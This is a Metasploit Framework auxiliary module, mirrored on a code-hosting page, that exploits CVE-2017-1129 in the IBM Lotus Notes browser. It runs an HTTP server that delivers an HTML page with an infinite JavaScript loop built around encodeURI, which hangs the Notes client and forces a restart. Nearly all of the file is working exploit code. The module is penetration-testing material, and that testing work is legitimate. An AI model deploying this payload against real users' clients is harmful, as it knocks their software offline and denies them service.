Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/auxiliary/dos/http/ibm_lotus_notes.rb
21552 views
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Auxiliary

7
  include Msf::Exploit::Remote::HttpServer

8


9
  def initialize(info = {})

10
    super(

11
      update_info(

12
        info,

13
        'Name' => 'IBM Notes encodeURI DOS',

14
        'Description' => %q{

15
          This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.

16
          If successful, it could cause the Notes client to hang and have to be restarted.

17
        },

18
        'License' => MSF_LICENSE,

19
        'Author' => [

20
          'Dhiraj Mishra',

21
        ],

22
        'References' => [

23
          [ 'EDB', '42602'],

24
          [ 'CVE', '2017-1129' ],

25
          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ]

26
        ],

27
        'DisclosureDate' => '2017-08-31',

28
        'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]],

29
        'PassiveActions' => [ 'WebServer' ],

30
        'DefaultAction' => 'WebServer',

31
        'Notes' => {

32
          'Stability' => [CRASH_SERVICE_DOWN],

33
          'SideEffects' => [],

34
          'Reliability' => []

35
        }

36
      )

37
    )

38
  end

39


40
  def run

41
    exploit # start http server

42
  end

43


44
  def setup

45
    @html = %|

46
    <html><head><title>DOS</title>

47
<script type="text/javascript">

48
while (true) try {

49
                var object = { };

50
                function d(d0) {

51
                        var d0 = (object instanceof encodeURI)('foo');

52
                }

53
                d(75);

54
        } catch (d) { }

55
</script>

56
</head></html>

57
    |

58
  end

59


60
  def on_request_uri(cli, _request)

61
    print_status('Sending response')

62
    send_response(cli, @html)

63
  end

64
end

65


66